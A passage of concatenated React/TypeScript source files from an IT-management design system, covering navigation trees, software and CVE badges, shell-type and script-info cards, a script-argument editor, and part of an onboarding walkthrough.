border-ods-border\"\n          )}\n        >\n          <div className=\"flex items-center relative\">\n            <button\n              className={cn(\n                \"w-full flex items-center h-12 px-2 rounded-lg text-h6 transition-all duration-150 text-ods-text-primary\",\n                !isSelected && \"hover:bg-ods-bg-hover\",\n                hasChildren && \"pr-12\"\n              )}\n              onClick={() => onNodeClick(node)}\n              aria-label={`${isSelected ? 'Selected' : 'Select'} ${node.name}`}\n            >\n              <span className=\"flex-shrink-0 mr-2\">\n                {node.type === 'folder' ? (\n                  isExpanded ? <FolderOpen className=\"h-4 w-4\" /> : <Folder className=\"h-4 w-4\" />\n                ) : (\n                  <FileText className=\"h-4 w-4\" />\n                )}\n              </span>\n              <span className=\"text-left truncate flex-1 min-w-0\">\n                {node.name.endsWith('.md') ? node.name.replace('.md', '') : node.name}\n              </span>\n              {node.type === 'folder' && node.hasReadme && (\n                <span className=\"text-h6 bg-ods-bg-surface text-ods-text-secondary px-1.5 py-0.5 rounded mr-2\">\n                  README\n                </span>\n              )}\n            </button>\n\n            {hasChildren && (\n              <button\n                className=\"absolute right-0 top-0 flex items-center justify-center w-12 h-12 text-ods-text-secondary hover:text-ods-text-primary transition-colors duration-150\"\n                onClick={(e) => {\n                  e.stopPropagation()\n                  if (onToggleExpand) {\n                    onToggleExpand(node.id)\n                  } else {\n                    onNodeClick(node)\n                  }\n                }}\n                aria-label={`${isExpanded ? 'Collapse' : 'Expand'} ${node.name}`}\n              >\n                {isExpanded ? <ChevronUp className=\"h-4 w-4\" /> : <ChevronDown className=\"h-4 w-4\" />}\n              </button>\n            )}\n          </div>\n\n          {isSelected && (\n            <div className=\"absolute right-0 top-1/2 -translate-y-1/2 w-1 h-[calc(100%-8px)] bg-ods-accent rounded-l\" />\n          )}\n        </div>\n      </div>\n\n      {hasChildren && isExpanded && (\n        <div className=\"space-y-1\">\n          {node.children!.map(child => (\n            <NavigationItem\n              key={child.id}\n              node={child}\n              selectedPath={selectedPath}\n              expandedNodes={expandedNodes}\n              onNodeClick={onNodeClick}\n              onToggleExpand={onToggleExpand}\n              level={level + 1}\n              folderIndexFile={folderIndexFile}\n            />\n          ))}\n        </div>\n      )}\n    </div>\n  )\n}\n\nexport function MobileNavigationDropdown({\n  nodes,\n  selectedPath,\n  expandedNodes,\n  onNodeClick,\n  onToggleExpand,\n  isLoading,\n  className,\n  folderIndexFile = DEFAULT_FOLDER_INDEX_FILE,\n}: MultiLevelNavigationProps) {\n  if (isLoading) {\n    return (\n      <div className={cn(\"space-y-2\", className)}>\n        {[1, 2, 3].map((i) => (\n          <div key={i} className=\"p-3 bg-ods-skeleton rounded-lg animate-pulse h-10\" />\n        ))}\n      </div>\n    )\n  }\n\n  return (\n    <div className={cn(\"space-y-2\", className)}>\n      {nodes.map(node => (\n        <MobileNavigationItem\n          key={node.id}\n          node={node}\n          selectedPath={selectedPath}\n          expandedNodes={expandedNodes}\n          onNodeClick={onNodeClick}\n          onToggleExpand={onToggleExpand}\n          level={0}\n          folderIndexFile={folderIndexFile}\n        />\n      ))}\n    </div>\n  )\n}\n\nfunction MobileNavigationItem({\n  node,\n  selectedPath,\n  expandedNodes,\n  onNodeClick,\n  onToggleExpand,\n  level,\n  folderIndexFile,\n}: NavigationItemProps) {\n  const isExpanded = expandedNodes.has(node.id)\n  const isSelected = isNodeVisuallySelected(node, selectedPath, folderIndexFile)\n  const hasChildren = node.children && node.children.length > 0\n\n  return (\n    <div className=\"space-y-1\">\n      <div className={cn(\"px-2\", level > 0 && \"ml-3\")}>\n        <div\n          className={cn(\n            \"w-full rounded-lg transition-all duration-150 border relative\",\n            isSelected\n              ? \"bg-ods-border border-ods-border\"\n              : \"bg-ods-card border-ods-border\"\n          )}\n        >\n          <div className=\"flex items-center relative\">\n            <button\n              className={cn(\n                \"w-full flex items-center h-11 px-2 rounded-lg text-h6 transition-all duration-150 text-ods-text-primary\",\n                !isSelected && \"hover:bg-ods-bg-hover\",\n                hasChildren && \"pr-11\"\n              )}\n              onClick={() => onNodeClick(node)}\n            >\n              <span className=\"flex-shrink-0 mr-2\">\n                {node.type === 'folder' ? (\n                  isExpanded ? <FolderOpen className=\"h-4 w-4\" /> : <Folder className=\"h-4 w-4\" />\n                ) : (\n                  <FileText className=\"h-4 w-4\" />\n                )}\n              </span>\n              <span className=\"text-left truncate flex-1 min-w-0\">\n                {node.name.endsWith('.md') ? node.name.replace('.md', '') : node.name}\n              </span>\n              {node.type === 'folder' && node.hasReadme && (\n                <span className=\"text-h6 bg-ods-bg-surface text-ods-text-secondary px-1.5 py-0.5 rounded mr-2\">\n                  README\n                </span>\n              )}\n            </button>\n\n            {hasChildren && (\n              <button\n                className=\"absolute right-0 top-0 flex items-center justify-center w-11 h-11 text-ods-text-secondary hover:text-ods-text-primary transition-colors duration-150\"\n                onClick={(e) => {\n                  e.stopPropagation()\n                  if (onToggleExpand) {\n                    onToggleExpand(node.id)\n                  } else {\n                    onNodeClick(node)\n                  }\n                }}\n                aria-label={`${isExpanded ? 'Collapse' : 'Expand'} ${node.name}`}\n              >\n                {isExpanded ? <ChevronUp className=\"h-3.5 w-3.5\" /> : <ChevronDown className=\"h-3.5 w-3.5\" />}\n              </button>\n            )}\n          </div>\n\n          {isSelected && (\n            <div className=\"absolute right-0 top-1/2 -translate-y-1/2 w-1 h-[calc(100%-8px)] bg-ods-accent rounded-l\" />\n          )}\n        </div>\n      </div>\n\n      {hasChildren && isExpanded && (\n        <div className=\"space-y-1\">\n          {node.children!.map(child => (\n            <MobileNavigationItem\n              key={child.id}\n              node={child}\n              selectedPath={selectedPath}\n              expandedNodes={expandedNodes}\n              onNodeClick={onNodeClick}\n              onToggleExpand={onToggleExpand}\n              level={level + 1}\n              folderIndexFile={folderIndexFile}\n            />\n          ))}\n        </div>\n      )}\n    </div>\n  )\n}\n","/**\n * SoftwareInfo Component\n *\n * Displays software name with optional vendor information below it.\n * Part of the ODS (OpenFrame Design System) platform components.\n *\n * @example\n * ```tsx\n * <SoftwareInfo name=\"Visual Studio Code\" vendor=\"Microsoft\" />\n * <SoftwareInfo name=\"Chrome\" /> // Without vendor\n * ```\n */\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\n\nexport interface SoftwareInfoProps {\n  /** Software name (required) */\n  name: string\n  /** Software vendor (optional) */\n  vendor?: string\n  /** Software version (optional) */\n  version?: string\n  /** Additional CSS classes */\n  className?: string\n}\n\nexport const SoftwareInfo: React.FC<SoftwareInfoProps> = ({\n  name,\n  vendor,\n  version,\n  className\n}) => {\n  return (\n    <div className={cn('flex flex-col gap-1', className)}>\n      <div className=\"flex items-center gap-2\">\n        <div className=\"text-h4 text-ods-text-primary\">\n          {name}\n        </div>\n        {version && (\n          <div className=\"px-2 py-1 bg-ods-bg-surface rounded text-ods-text-secondary text-h6\">\n            {version}\n          </div>\n        )}\n      </div>\n      {vendor && (\n        <div className=\"text-h6 text-ods-text-secondary\">\n          {vendor}\n        </div>\n      )}\n    </div>\n  )\n}\n\nSoftwareInfo.displayName = 'SoftwareInfo'\n","/**\n * SoftwareSourceBadge Component\n *\n * Displays a badge for software source types from Fleet MDM.\n * Supports all osquery software source types with appropriate styling.\n *\n * Fleet MDM Software Sources:\n * - apps: macOS Applications\n * - chrome_extensions: Chrome Browser Extensions\n * - firefox_addons: Firefox Browser Extensions\n * - safari_extensions: Safari Browser Extensions\n * - ie_extensions: Internet Explorer Extensions\n * - vscode_extensions: VS Code Extensions\n * - atom_packages: Atom Packages\n * - homebrew_packages: Homebrew Packages (macOS)\n * - npm_packages: NPM Packages\n * - python_packages: Python Packages\n * - apt_sources: APT Packages (Debian/Ubuntu)\n * - deb_packages: DEB Packages\n * - rpm_packages: RPM Packages (Red Hat/CentOS)\n * - yum_sources: YUM Packages\n * - portage_packages: Portage Packages (Gentoo)\n * - chocolatey_packages: Chocolatey Packages (Windows)\n * - programs: Windows Programs\n * - pkg_packages: PKG Packages\n *\n * @example\n * ```tsx\n * <SoftwareSourceBadge source=\"apps\" />\n * <SoftwareSourceBadge source=\"chrome_extensions\" />\n * <SoftwareSourceBadge source=\"python_packages\" />\n * ```\n */\n\nimport React from 'react'\nimport {\n  PackageIcon,\n  WindowsIcon,\n  MacOSIcon,\n  LinuxIcon\n} from '../icons'\nimport { cn } from '../../utils/common'\n\nexport type SoftwareSource =\n  | 'apps'\n  | 'chrome_extensions'\n  | 'firefox_addons'\n  | 'safari_extensions'\n  | 'ie_extensions'\n  | 'vscode_extensions'\n  | 'atom_packages'\n  | 'homebrew_packages'\n  | 'npm_packages'\n  | 'python_packages'\n  | 'apt_sources'\n  | 'deb_packages'\n  | 'rpm_packages'\n  | 'yum_sources'\n  | 'portage_packages'\n  | 'chocolatey_packages'\n  | 'programs'\n  | 'pkg_packages'\n\nexport interface SoftwareSourceBadgeProps {\n  /** Software source type from Fleet MDM */\n  source: SoftwareSource\n  /** Additional CSS classes */\n  className?: string\n}\n\n/**\n * Maps source types to human-readable labels and icons\n */\nconst sourceConfig: Record<SoftwareSource, { label: string; icon: React.ReactNode }> = {\n  apps: { label: 'App', icon: <MacOSIcon className=\"w-4 h-4\" /> },\n  chrome_extensions: { label: 'Chrome', icon: <PackageIcon className=\"w-4 h-4\" /> },\n  firefox_addons: { label: 'Firefox', icon: <PackageIcon className=\"w-4 h-4\" /> },\n  safari_extensions: { label: 'Safari', icon: <PackageIcon className=\"w-4 h-4\" /> },\n  ie_extensions: { label: 'IE', icon: <PackageIcon className=\"w-4 h-4\" /> },\n  vscode_extensions: { label: 'VS Code', icon: <PackageIcon className=\"w-4 h-4\" /> },\n  atom_packages: { label: 'Atom', icon: <PackageIcon className=\"w-4 h-4\" /> },\n  homebrew_packages: { label: 'Homebrew', icon: <MacOSIcon className=\"w-4 h-4\" /> },\n  npm_packages: { label: 'NPM', icon: <PackageIcon className=\"w-4 h-4\" /> },\n  python_packages: { label: 'Python', icon: <PackageIcon className=\"w-4 h-4\" /> },\n  apt_sources: { label: 'APT', icon: <LinuxIcon className=\"w-4 h-4\" /> },\n  deb_packages: { label: 'DEB', icon: <LinuxIcon className=\"w-4 h-4\" /> },\n  rpm_packages: { label: 'RPM', icon: <LinuxIcon className=\"w-4 h-4\" /> },\n  yum_sources: { label: 'YUM', icon: <LinuxIcon className=\"w-4 h-4\" /> },\n  portage_packages: { label: 'Portage', icon: <LinuxIcon className=\"w-4 h-4\" /> },\n  chocolatey_packages: { label: 'Chocolatey', icon: <WindowsIcon className=\"w-4 h-4\" /> },\n  programs: { label: 'Windows', icon: <WindowsIcon className=\"w-4 h-4\" /> },\n  pkg_packages: { label: 'PKG', icon: <PackageIcon className=\"w-4 h-4\" /> }\n}\n\nexport const SoftwareSourceBadge: React.FC<SoftwareSourceBadgeProps> = ({\n  source,\n  className\n}) => {\n  const config = sourceConfig[source] || { label: source, icon: <PackageIcon className=\"w-4 h-4\" /> }\n\n  return (\n    <span className={cn('inline-flex items-center gap-2 text-ods-text-primary', className)}>\n      {config.icon}\n      {config.label}\n    </span>\n  )\n}\n\nSoftwareSourceBadge.displayName = 'SoftwareSourceBadge'\n","/**\n * CveLink Component\n *\n * Displays a CVE ID with an external link icon that links to the NIST NVD database.\n * Part of the ODS (OpenFrame Design System) platform components.\n *\n * @example\n * ```tsx\n * <CveLink cveId=\"CVE-2024-1234\" />\n * ```\n */\n\nimport React from 'react'\nimport { CustomExternalLinkIcon } from '../icons'\nimport { cn } from '../../utils/cn'\n\nexport interface CveLinkProps {\n  /** CVE ID (e.g., \"CVE-2024-1234\") */\n  cveId: string\n  /** Additional CSS classes */\n  className?: string\n}\n\nexport const CveLink: React.FC<CveLinkProps> = ({\n  cveId,\n  className\n}) => {\n  const nistUrl = `https://nvd.nist.gov/vuln/detail/${cveId}`\n\n  return (\n    <a\n      href={nistUrl}\n      target=\"_blank\"\n      rel=\"noopener noreferrer\"\n      className={cn(\n        'inline-flex items-center gap-2 text-code text-ods-text-primary hover:text-ods-accent transition-colors group',\n        className\n      )}\n    >\n      <span>{cveId}</span>\n      <CustomExternalLinkIcon className=\"w-4 h-4 text-ods-text-secondary group-hover:text-ods-accent transition-colors\" />\n    </a>\n  )\n}\n\nCveLink.displayName = 'CveLink'\n","/**\n * ToolBadge Component\n *\n * Displays a tool type badge with icon for OpenFrame integrated tools.\n * Used in tables to show tool sources like Fleet MDM, MeshCentral, etc.\n *\n * @example\n * ```tsx\n * <ToolBadge toolType=\"OPENFRAME_RMM\" />\n * <ToolBadge toolType=\"FLEET\" />\n * <ToolBadge toolType=\"MESHCENTRAL\" />\n * ```\n */\n\nimport React from 'react'\nimport { ToolType } from '../../types/tool.types'\nimport { getToolLabel } from '../../utils/tool-utils'\nimport { cn } from '../../utils/cn'\nimport { ToolIcon } from '../tool-icon'\n\nexport type { ToolType } from '../../types/tool.types'\n\nexport interface ToolBadgeProps {\n  /** Tool type */\n  toolType: ToolType\n  /** Additional CSS classes */\n  className?: string\n  iconClassName?: string\n}\n\nexport const ToolBadge: React.FC<ToolBadgeProps> = ({\n  toolType,\n  className,\n  iconClassName,\n}) => {\n  const label = getToolLabel(toolType)\n\n  return (\n    <div className={cn(\"flex items-center gap-1 text-ods-text-secondary\", className)}>\n      <ToolIcon toolType={toolType} className={iconClassName} size={16} />\n      <span className=\"text-ods-text-primary text-h4\">{label}</span>\n    </div>\n  )\n}\n\nToolBadge.displayName = 'ToolBadge'\n","/**\n * ShellTypeBadge Component\n *\n * Displays a badge for shell/script types with appropriate icon and label.\n * Supports all RMM shell types.\n */\n\nimport React from 'react'\nimport { PowershellLogoGreyIcon } from '../icons-v2-generated/brand-logos/powershell-logo-grey-icon'\nimport { PythonLogoIcon } from '../icons-v2-generated/brand-logos/python-logo-icon'\n\nimport { ShellType, ShellTypeValues } from '../../types/shell.types'\nimport { getShellLabel } from '../../utils/shell-utils'\nimport { cn } from '../../utils/cn'\nimport {\n  BashIcon,\n  CmdIcon,\n  DenoIcon,\n  NushellIcon,\n  ShellIcon\n} from '../icons'\n\n/**\n * Shell icon configuration with typed mapping\n */\ninterface ShellIconConfig {\n  icon: React.ComponentType<{ size?: number; color?: string; className?: string }>\n  props: { size: number } & ({ className: string } | { color: string })\n}\n\n/**\n * Typed mapping of shell types to their icon configurations\n * Using Record<ShellType, ...> ensures all shell types are covered\n */\nconst shellIconMap: Record<ShellType, ShellIconConfig> = {\n  [ShellTypeValues.POWERSHELL]: {\n    icon: PowershellLogoGreyIcon,\n    props: { size: 16, className: 'text-ods-text-secondary' }\n  },\n  [ShellTypeValues.CMD]: {\n    icon: CmdIcon,\n    props: { size: 16, color: 'var(--color-text-secondary)' }\n  },\n  [ShellTypeValues.BASH]: {\n    icon: BashIcon,\n    props: { size: 16, color: 'var(--color-text-secondary)' }\n  },\n  [ShellTypeValues.PYTHON]: {\n    icon: PythonLogoIcon,\n    props: { size: 16, className: 'text-ods-text-secondary' }\n  },\n  [ShellTypeValues.NUSHELL]: {\n    icon: NushellIcon,\n    props: { size: 16, color: 'var(--color-text-secondary)' }\n  },\n  [ShellTypeValues.DENO]: {\n    icon: DenoIcon,\n    props: { size: 16, color: 'var(--color-text-secondary)' }\n  },\n  [ShellTypeValues.SHELL]: {\n    icon: ShellIcon,\n    props: { size: 16, color: 'var(--color-text-secondary)' }\n  }\n} as const\n\nconst defaultIconConfig: ShellIconConfig = {\n  icon: ShellIcon,\n  props: { size: 16, color: 'var(--color-text-secondary)' }\n}\n\nexport interface ShellTypeBadgeProps {\n  shellType: ShellType\n  className?: string\n  iconClassName?: string\n}\n\nexport const ShellTypeBadge: React.FC<ShellTypeBadgeProps> = ({\n  shellType,\n  className,\n  iconClassName\n}) => {\n  const normalizedType = shellType?.toUpperCase() as ShellType\n  const label = getShellLabel(normalizedType)\n  const { icon: IconComponent, props: iconProps } = shellIconMap[normalizedType] ?? defaultIconConfig\n  const defaultIconClassName = 'className' in iconProps ? iconProps.className : undefined\n\n  return (\n    <div className={cn(\"flex items-center gap-1\", className)}>\n      <IconComponent size={16} className={cn(defaultIconClassName, iconClassName)} />\n      <span className=\"text-ods-text-primary text-h4\">{label}</span>\n    </div>\n  )\n}\n\nShellTypeBadge.displayName = 'ShellTypeBadge'\n","/**\n * ScriptInfoSection Component\n *\n * Displays script information in a card with header (title, description)\n * and detail cells (shell type, supported platforms, category, author).\n * Responsive layout: stacks cells on mobile, shows grid on desktop.\n */\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { getOSLabel } from '../../utils/os-utils'\nimport { getShellLabel } from '../../utils/shell-utils'\n\n/**\n * Props for author avatar display\n */\nexport interface ScriptAuthor {\n  /** Author name */\n  name: string\n  /** Author initials (used when no photo) */\n  initials?: string\n  /** URL to author's photo */\n  photoUrl?: string\n}\n\n/**\n * Props for ScriptInfoSection component\n */\nexport interface ScriptInfoSectionProps {\n  /** Script title/name */\n  headline: string\n  /** Script description */\n  subheadline?: string\n  /** Shell type (POWERSHELL, BASH, CMD, etc.) */\n  shellType?: string\n  /** Array of supported platform strings (windows, darwin, linux, etc.) */\n  supportedPlatforms?: string[]\n  /** Script category */\n  category: string\n  /** Author information */\n  author?: ScriptAuthor\n  /** Additional CSS classes */\n  className?: string\n}\n\n/**\n * Formats supported platforms array into a display string\n * @param platforms - Array of platform strings (e.g., ['windows', 'darwin', 'linux'])\n * @returns Formatted string (e.g., 'Windows, macOS, Linux')\n */\nfunction formatSupportedPlatforms(platforms?: string[]): string {\n  if (!platforms || platforms.length === 0) {\n    return 'All Platforms'\n  }\n  return platforms.map((platform) => getOSLabel(platform)).join(', ')\n}\n\n/**\n * Gets initials from a name\n * @param name - Full name\n * @returns Two-letter initials\n */\nfunction getInitials(name: string): string {\n  const parts = name.trim().split(/\\s+/)\n  if (parts.length >= 2) {\n    return `${parts[0][0]}${parts[1][0]}`.toUpperCase()\n  }\n  return name.slice(0, 2).toUpperCase()\n}\n\n/**\n * InfoCell - Single info cell with label and value\n */\ninterface InfoCellProps {\n  label: string\n  value: string\n  avatar?: ScriptAuthor\n  className?: string\n}\n\nfunction InfoCell({ label, value, avatar, className }: InfoCellProps) {\n  return (\n    <div className={cn('flex items-center gap-2 min-w-0', className)}>\n      {/* Avatar for author cell */}\n      {avatar && (\n        <div className=\"relative shrink-0 size-8 rounded-full bg-ods-bg border border-ods-border overflow-hidden\">\n          {avatar.photoUrl ? (\n            <img\n              src={avatar.photoUrl}\n              alt={avatar.name}\n              className=\"size-full object-cover\"\n            />\n          ) : (\n            <div className=\"size-full flex items-center justify-center text-ods-text-secondary text-h6\">\n              {avatar.initials || getInitials(avatar.name)}\n            </div>\n          )}\n        </div>\n      )}\n\n      {/* Text content */}\n      <div className=\"flex flex-col min-w-0\">\n        <span className=\"text-ods-text-primary text-h4 truncate\" title={value}>\n          {value}\n        </span>\n        <span className=\"text-ods-text-secondary text-h6 truncate\">\n          {label}\n        </span>\n      </div>\n    </div>\n  )\n}\n\n/**\n * ScriptInfoSection - Displays script information in a structured card\n *\n * @example\n * ```tsx\n * <ScriptInfoSection\n *   title=\"System Backup Script\"\n *   description=\"Comprehensive Linux system backup script...\"\n *   shellType=\"BASH\"\n *   supportedPlatforms={['linux']}\n *   category=\"System Maintenance\"\n *   author={{ name: 'John Doe', photoUrl: '/avatars/john.jpg' }}\n * />\n * ```\n */\nexport const ScriptInfoSection: React.FC<ScriptInfoSectionProps> = ({\n  headline,\n  subheadline,\n  shellType,\n  supportedPlatforms,\n  category,\n  author,\n  className\n}) => {\n  const shellLabel = getShellLabel(shellType)\n  const platformsLabel = formatSupportedPlatforms(supportedPlatforms)\n\n  return (\n    <div\n      className={cn(\n        'bg-ods-card border border-ods-border rounded-[6px] overflow-hidden',\n        className\n      )}\n    >\n      {/* Header row with title and description */}\n      <div className=\"p-4 border-b border-ods-border\">\n        <div className=\"flex flex-col gap-1\">\n          <h3 className=\"text-ods-text-primary text-h4\">\n            {headline}\n          </h3>\n          {subheadline && (\n            <p className=\"text-ods-text-secondary text-h6 break-words\">\n              {subheadline}\n            </p>\n          )}\n        </div>\n      </div>\n\n      {/* Details section with info cells\n          - Mobile/Tablet (<lg): 2x2 grid with divider between rows\n          - Desktop (lg+): 4 columns in single row\n      */}\n      {/* First row: Shell Type, Supported Platforms */}\n      <div className=\"px-4 py-4 grid grid-cols-2 gap-4 lg:grid-cols-4 border-b border-ods-border lg:border-b-0\">\n        <InfoCell label=\"Shell Type\" value={shellLabel} />\n        <InfoCell label=\"Supported Platforms\" value={platformsLabel} />\n        {/* Desktop only: Category and Author in same row */}\n        <InfoCell label=\"Category\" value={category} className=\"hidden lg:flex\" />\n        {author && (\n          <InfoCell\n            label=\"Added by\"\n            value={author.name}\n            avatar={author}\n            className=\"hidden lg:flex\"\n          />\n        )}\n      </div>\n      {/* Second row (mobile/tablet only): Category, Author */}\n      <div className=\"px-4 py-4 grid grid-cols-2 gap-4 lg:hidden\">\n        <InfoCell label=\"Category\" value={category} />\n        {author && (\n          <InfoCell label=\"Added by\" value={author.name} avatar={author} />\n        )}\n      </div>\n    </div>\n  )\n}\n\nScriptInfoSection.displayName = 'ScriptInfoSection'\n","/**\n * ScriptArguments Component\n *\n * Displays and manages script arguments as key-value pairs.\n * Each argument has a name (key) and value input field with delete button.\n * Includes an \"Add Script Argument\" button to add new entries.\n */\n\nimport { Trash2 } from 'lucide-react'\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { Button } from '../ui/button'\nimport { Input } from '../ui/input'\nimport { Label } from '../ui/label'\nimport { PlusCircleIcon } from '../icons-v2-generated'\n\n/**\n * Single script argument with key and value\n */\nexport interface ScriptArgument {\n  /** Unique identifier for the argument */\n  id: string\n  /** Argument name/key */\n  key: string\n  /** Argument value (empty string for flag-type arguments) */\n  value: string\n}\n\n/**\n * Props for ScriptArguments component\n */\nexport interface ScriptArgumentsProps {\n  /** Array of script arguments */\n  arguments: ScriptArgument[]\n  /** Callback when arguments change */\n  onArgumentsChange?: (args: ScriptArgument[]) => void\n  /** Placeholder for key input */\n  keyPlaceholder?: string\n  /** Placeholder for value input */\n  valuePlaceholder?: string\n  /** Label for the add button */\n  addButtonLabel?: string\n  /** Whether the component is disabled */\n  disabled?: boolean\n  /** Additional CSS classes */\n  className?: string\n  /** Label for the title input */\n  titleLabel: string\n}\n\n/**\n * ScriptArguments - Displays and manages script arguments\n *\n * @example\n * ```tsx\n * <ScriptArguments\n *   arguments={[\n *     { id: '1', key: 'port', value: '3000' },\n *     { id: '2', key: 'verbose', value: '' },\n *   ]}\n *   onArgumentsChange={(args) => setArguments(args)}\n * />\n * ```\n */\nexport const ScriptArguments: React.FC<ScriptArgumentsProps> = ({\n  arguments: args,\n  onArgumentsChange,\n  keyPlaceholder = 'Enter Key',\n  valuePlaceholder = 'Enter Value (empty=flag)',\n  addButtonLabel = 'Add Script Argument',\n  disabled = false,\n  className,\n  titleLabel\n}) => {\n  const handleKeyChange = (id: string, newKey: string) => {\n    if (!onArgumentsChange) return\n    const updated = args.map((arg) =>\n      arg.id === id ? { ...arg, key: newKey } : arg\n    )\n    onArgumentsChange(updated)\n  }\n\n  const handleValueChange = (id: string, newValue: string) => {\n    if (!onArgumentsChange) return\n    const updated = args.map((arg) =>\n      arg.id === id ? { ...arg, value: newValue } : arg\n    )\n    onArgumentsChange(updated)\n  }\n\n  const handleDelete = (id: string) => {\n    if (!onArgumentsChange) return\n    const updated = args.filter((arg) => arg.id !== id)\n    onArgumentsChange(updated)\n  }\n\n  const handleAdd = () => {\n    if (!onArgumentsChange) return\n    const newArg: ScriptArgument = {\n      id: crypto.randomUUID(),\n      key: '',\n      value: ''\n    }\n    onArgumentsChange([...args, newArg])\n  }\n\n  const isFirstRow = (index: number) => index === 0\n\n  return (\n    <div className={cn('flex flex-col gap-2', className)}>\n      {args.map((arg, index) => (\n        <div\n          key={arg.id}\n          className=\"flex gap-2 items-end w-full\"\n        >\n          {/* Key input - with label only on first row */}\n          <div className=\"flex flex-1 flex-col gap-1 min-w-0\">\n            {isFirstRow(index) && (\n              <Label spacing=\"tight\">{titleLabel}</Label>\n            )}\n            <Input\n              value={arg.key}\n              onChange={(e) => handleKeyChange(arg.id, e.target.value)}\n              placeholder={keyPlaceholder}\n              disabled={disabled}\n            />\n          </div>\n\n          {/* Value input with delete button */}\n          {/* Value input with delete button */}\n          <div className=\"flex flex-1 gap-2 items-center min-w-0\">\n            <div className=\"flex flex-1 flex-col gap-1 min-w-0\">\n              <Input\n                value={arg.value}\n                onChange={(e) => handleValueChange(arg.id, e.target.value)}\n                placeholder={valuePlaceholder}\n                disabled={disabled}\n                className={cn(\n                  !arg.value && 'placeholder:text-ods-text-muted'\n                )}\n              />\n            </div>\n            <Button\n              type=\"button\"\n              variant=\"outline\"\n              size=\"icon\"\n              onClick={() => handleDelete(arg.id)}\n              disabled={disabled}\n              aria-label=\"Delete argument\"\n              leftIcon={<Trash2 className=\"size-4 md:size-6 \" color=\"var(--color-error)\" />}\n            />\n          </div>\n        </div>\n      ))}\n\n      {/* Add button - aligned left */}\n      <div className=\"flex justify-start\">\n        <Button\n          type=\"button\"\n          variant=\"outline\"\n          size=\"small\"\n          onClick={handleAdd}\n          disabled={disabled}\n          className=\"self-start\"\n          leftIcon={<PlusCircleIcon className=\"text-ods-text-secondary\" />}\n        >\n          {addButtonLabel}\n        </Button>\n      </div>\n    </div>\n  )\n}\n\nScriptArguments.displayName = 'ScriptArguments'\n","'use client'\n\nimport React, { useRef, useCallback } from 'react'\nimport { Button } from '../../ui/button'\nimport { OnboardingStepCard } from './onboarding-step-card'\nimport { useOnboardingState, type OnboardingStepConfig } from '../../../hooks/ui/use-onboarding-state'\nimport { cn } from '../../../utils/cn'\nimport { SECTION_HEADING_CLASS } from '../../layout/page-heading'\n\nexport interface OnboardingWalkthroughProps {\n  steps: OnboardingStepConfig[]\n  onDismiss?: () => void\n  storageKey?: string\n  className?: string\n  spacing?: string\n  /**\n   * Completion status from hook-based checks (e.g., useOnboardingCompletion)\n   * Object mapping step IDs to boolean completion status\n   */\n  completionStatus?: Record<string, boolean>\n  /**\n   * Whether completion checks are still loading\n   */\n  isLoadingCompletion?: boolean\n}\n\nexport function OnboardingWalkthrough({\n  steps,\n  onDismiss,\n  storageKey = 'openframe-onboarding-state',\n  className,\n  spacing = 'space-y-4',\n  completionStatus,\n  isLoadingCompletion = false\n}: OnboardingWalkthroughProps) {\n  const {\n    state,\n    markComplete,\n    markSkipped,\n    dismissOnboarding,\n    isStepComplete,\n    isStepSkipped,\n    allStepsComplete,\n    markMultipleComplete\n  } = useOnboardingState(storageKey)\n\n  // Refs to prevent race conditions - ALL refs must be declared before any conditional returns\n  const hasAutoMarkedRef = useRef(false)\n  const autoMarkingInProgressRef = useRef(false)\n  const lastCompletionStatusRef = useRef<string | null>(null)\n  // Ref to track in-flight action handlers - moved here to be before conditional return\n  const actionInProgressRef = useRef<Set<string>>(new Set())\n\n  // Sync completion status from hooks to localStorage\n  // Uses refs to prevent duplicate calls and race conditions\n  React.useEffect(() => {\n    // Skip if still loading\n    if (isLoadingCompletion) {\n      hasAutoMarkedRef.current = false // Reset when loading starts\n      return\n    }\n\n    // Skip if no completion status\n    if (!completionStatus) return\n\n    // Create a stable key from completion status to detect actual changes\n    const statusKey = JSON.stringify(completionStatus)\n\n    // Skip if we've already processed this exact status\n    if (lastCompletionStatusRef.current === statusKey) return\n\n    // Skip if auto-marking is currently in progress\n    if (autoMarkingInProgressRef.current) return\n\n    // Find steps that need to be marked complete\n    // Read directly from state to avoid stale closure issues\n    const completedStepIds = Object.entries(completionStatus)\n      .filter(([stepId, isComplete]) => {\n        if (!isComplete) return false\n        // Check against current state, not the callback\n        return !state.completedSteps.includes(stepId)\n      })\n      .map(([stepId]) => stepId)\n\n    if (completedStepIds.length > 0) {\n      // Mark as in progress to prevent concurrent calls\n      autoMarkingInProgressRef.current = true\n\n      console.log('📊 Auto-marking steps as complete from hook data:', completedStepIds)\n      markMultipleComplete(completedStepIds)\n\n      // Update the last processed status key\n      lastCompletionStatusRef.current = statusKey\n\n      // Reset the in-progress flag after a short delay\n      // This prevents rapid successive calls while allowing future updates\n      setTimeout(() => {\n        autoMarkingInProgressRef.current = false\n      }, 100)\n    } else {\n      // Even if no steps to mark, update the status key to prevent re-processing\n      lastCompletionStatusRef.current = statusKey\n    }\n  }, [completionStatus, isLoadingCompletion, state.completedSteps, markMultipleComplete])\n\n  // useCallback must be called unconditionally (before any early returns)\n  const handleStepAction = useCallback(async (step: OnboardingStepConfig) => {\n    // Prevent duplicate action handling for the same step\n    if (actionInProgressRef.current.has(step.id)) {\n      console.log(`⏳ Action already in progress for \"${step.id}\", skipping`)\n      return\n    }\n\n    // Mark as in progress\n    actionInProgressRef.current.add(step.id)\n\n    try {\n      await step.onAction()\n\n      // Skip if already completed (could have been auto-marked while action was running)\n      if (state.completedSteps.includes(step.id)) {\n        console.log(`✓ Step \"${step.id}\" already completed, skipping mark`)\n        return\n      }\n\n      // Auto-mark Knowledge Base as complete (no verification needed)\n      if (step.id === 'knowledge-base') {\n        console.log(`🎯 Auto-completing Knowledge Base`)\n        markComplete(step.id)\n        return\n      }\n\n      // For other steps, re-check completion after action\n      if (step.checkComplete) {\n        try {\n          const isComplete = await step.checkComplete()\n          console.log(`🔍 Post-action check for \"${step.id}\": isComplete=${isComplete}`)\n\n          // Double-check it wasn't completed while we were checking\n          if (isComplete && !state.completedSteps.includes(step.id)) {\n            markComplete(step.id)\n          }\n        } catch (error) {\n          console.error(`Error checking completion for \"${step.id}\":`, error)\n        }\n      }\n    } finally {\n      // Remove from in-progress set\n      actionInProgressRef.current.delete(step.id)\n    }\n  }, [state.completedSteps, markComplete])\n\n  const handleStepSkip = (step: OnboardingStepConfig) => {\n    step.onSkip?.()\n    